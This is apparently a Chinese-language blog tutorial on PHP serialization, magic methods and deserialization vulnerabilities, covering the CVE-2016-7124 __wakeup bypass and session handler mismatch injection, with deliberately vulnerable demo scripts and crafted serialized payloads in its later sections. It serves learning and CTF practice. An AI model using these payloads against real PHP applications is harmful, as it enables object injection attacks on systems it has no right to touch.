本篇博客介绍了php序列化和反序列化的相关知识!

相关概念

什么是序列化和反序列化?

**序列化:**把复杂的数据类型压缩到一个字符串中,数据类型可以是数组,字符串,对象等

**反序列化:**恢复原先被序列化的变量

相关函数

serialize()     //将一个对象转换成一个字符串

unserialize()   //将字符串还原成一个对象

序列化

例如下面一段代码

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
class test
{
private $flag = "flag{233}";
public $a = "aaa";
static $b = "bbb";
}

$test = new test;
$data = serialize($test);
echo $data;
?>

看一下运行结果

O:4:"test":2:{s:10:" test flag";s:9:"flag{233}";s:1:"a";s:3:"aaa";}

序列化的结果满足:

O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

这里说明一下序列化字符串的含义:

  1. O:4:"test"指Object(对象) 4个字符:test

  2. :2对象属性个数为2

  3. {}中为属性字符数:属性值

注意:可以看到testflag的长度为8,序列化中却显示长度为10。这是因为它是private属性,翻阅文档就可以看到说明,它会在两侧加入空字节

\x00 + 类名 + \x00 + 变量名 反序列化出来的是private变量, \x00 + * + \x00 + 变量名 反序列化出来的是protected变量 直接变量名反序列化出来的是public变量

反序列化

下面一段代码

1
2
3
4
5
6
7
<?php 
$str = 'O%3A4%3A%22test%22%3A2%3A%7Bs%3A10%3A%22%00test%00flag%22%3Bs%3A9%3A%22flag%7B233%7D%22%3Bs%3A1%3A%22a%22%3Bs%3A3%3A%22aaa%22%3B%7D';
$data = urldecode($str);
$obj = unserialize($data);

var_dump($obj);
?>

魔术方法

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods)

比较重要的几个函数:

__sleep()

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误。

__wakeup()

unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法,预先准备对象需要的资源。

__toString()

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 echo $obj; 应该显示些什么。此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

__destruct()

析构函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行

__construct()

造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。

魔术方法执行流程

举个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
class Test{

public function __construct(){
echo 'construct run';
}

public function __destruct(){
echo 'destruct run';
}

public function __toString(){
echo 'toString run';
}

public function __sleep(){
echo 'sleep run';
}

public function __wakeup(){
echo 'wakeup run';
}
}

$test= new Test();
$sTest= serialize($test);
$usTest= unserialize($sTest);
$string= 'hello class ' . $test;
?>

分析一下执行过程:

new了一个对象,对象被创建,执行__construct方法

serialize了一个对象,对象被序列化,先执行__sleep方法,再序列化

unserialize了一个序列化字符串,对象被反序列化,先反序列化,再执行__wakeup方法

把Test这个对象当做字符串使用了,执行__toString方法

程序运行完毕,对象自动销毁,执行__destruct方法

漏洞利用

CVE-2016-7124

这个漏洞主要是用于绕过__wakeup()方法的

利用方式:

当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

例如:

构造序列化对象:

O:5:"SoFun":1:{S:7:"\00*\00file";s:8:"flag.php";}

绕过__wakeup:

O:5:"SoFun":2:{S:7:"\00*\00file";s:8:"flag.php";}

这个\00在url传输时使用%00的

session反序列化漏洞

简介

PHP在session存储和读取时,都会有一个序列化和反序列化的过程,PHP内置了多种处理器用于存取 $_SESSION 数据,都会对数据进行序列化和反序列化

在php.ini中有以下关于session配置项(通过phpinfo):

有几个重要的配置:

session.save_path 设置session的存储路径

session.save_handler 设定用户自定义存储函数

session.auto_start 指定会话模块是否在请求开始时启动一个会话

session.serialize_handler 定义用来序列化/反序列化的处理器名字。默认使用php
除了默认的session序列化引擎php外,还有几种引擎,不同引擎存储方式不同:

  1. php_binary: 键名的长度对应的ASCII字符+键名+经过serialize() 函数反序列处理的值
  2. php: 键名+竖线+经过serialize()函数反序列处理的值
  3. php_serialize: serialize()函数反序列处理数组方式

存储机制

php中的session内容是以文件方式来存储的,由session.save_handler来决定。文件名由sess_+sessionid命名,文件内容则为session序列化后的值。

而这个sessionid是可以在浏览器里查出来的

来测试一个demo

1
2
3
4
5
6
<?php
ini_set('session.serialize_handler','php_serialize');
session_start();

$_SESSION['name'] = 'twosmi1e';
?>

运行后在配置文件设定的路径中会生成一个session文件,其内容为

a:1:{s:4:"name";s:8:"twosmi1e";}

改变session.save_handler发现:

随着存储引擎变化,其内容的格式也会变化

利用方式

通过上面对存储格式的分析,如果 PHP 在反序列化存储的 $_SESSION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的构造,甚至可以伪造任意数据:

$_SESSION['ryat'] = '|O:8:"stdClass":0:{}';

例如上面的 $_SESSION 数据,在存储时使用的序列化处理器为 php_serialize,存储的格式如下:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

在读取数据时如果用的反序列化处理器不是 php_serialize,而是 php 的话,那么反序列化后的数据将会变成:

// var_dump($_SESSION);
array(1) {
  ["a:1:{s:4:"ryat";s:20:""]=>
  object(stdClass)#1 (0) {
  }
}

可以看到,通过注入 | 字符伪造了对象的序列化数据,成功实例化了 stdClass 对象

那么就存在两种情况:

当 session.auto_start=Off 时

当配置选项 session.auto_start=Off,存在两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//foo1.php

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];


//foo2.php

ini_set('session.serialize_handler', 'php');
//or session.serialize_handler set to php in php.ini
session_start();

class ryat {
var $hi;

function __wakeup() {
echo 'hi';
}
function __destruct() {
echo $this->hi;
}
}

当访问 foo1.php 时,提交数据如下:

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法

当 session.auto_start=On 时

当配置选项 session.auto_start=On,会自动注册 Session 会 话,因为该过程是发生在脚本代码执行前,所以在脚本中设定 的包括序列化处理器在内的 session 相关配选项的设置是不起 作用的,因此一些需要在脚本中设置序列化处理器配置的程序 会在 session.auto_start=On 时,销毁自动生成的 Session 会 话,然后设置需要的序列化处理器,再调用 session_start() 函 数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中 设置的不同,就会出现安全问题,如下面的代码:

1
2
3
4
5
6
7
8
9
10
//foo.php

if (ini_get('session.auto_start')) {
session_destroy();
}

ini_set('session.serialize_handler', 'php_serialize');
session_start();

$_SESSION['ryat'] = $_GET['ryat'];

当第一次访问该脚本,并提交数据如下:

foo.php?ryat=|O:8:"stdClass":0:{}

脚本会按照 php_serialize 处理器的序列化格式存储数据:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象:)

这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

Jarvisoj上的一道题

具体参考:http://www.moonback.xyz/2019/10/05/jarvisoj-web-wp/

评论